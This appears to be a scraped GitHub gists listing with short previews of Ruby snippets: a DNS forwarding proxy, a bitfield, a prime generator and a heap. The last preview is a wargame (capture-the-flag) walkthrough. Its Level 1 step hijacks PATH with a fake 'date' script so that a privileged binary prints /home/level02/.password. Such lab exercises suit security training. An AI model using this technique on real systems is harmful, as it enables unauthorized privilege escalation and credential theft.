This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.. initilized socket at port 53 | |
data = server.recvfrom(Resolv::DNS::UDPSize) | |
sender_ip = data[1][2] | |
sender_port = data[1][1] | |
Resolv::DNS::Message::decode(data[0]) | |
sock = UDPSocket.new(Socket::AF_INET) | |
sock.connect('8.8.8.8', 53) | |
sock.send(@query.encode, 0) | |
reply = sock.recv(Resolv::DNS::UDPSize) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Sample use: | |
# Initialize a bitfield with max size | |
# b = BitField.new(32768) | |
# Add numbers | |
# b.add(5) | |
# b.add(16768) | |
# Find Numbers | |
# b.has?(5) | |
# Print the internal state of BitField | |
# b.print |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Primes | |
# Initialize list of primes with 2 | |
@@primes = [2] | |
@@current_prime = 1 | |
# Reset the prime number generator | |
def self.reset | |
@@current_prime = 1 | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Heap | |
# Specify whether max heap or min heap | |
def initialize(p, max_heap = true) | |
@arr = Array.new p | |
@max_heap = max_heap | |
build | |
end | |
def size | |
@arr.size |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Level 1: | |
cd /tmp | |
echo "cat /home/level02/.password" > date | |
chmod +x date | |
PATH=`pwd`:$PATH | |
export PATH | |
/levels/level01 | |
Level 2: | |
In javascript console before submitting the form: |
NewerOlder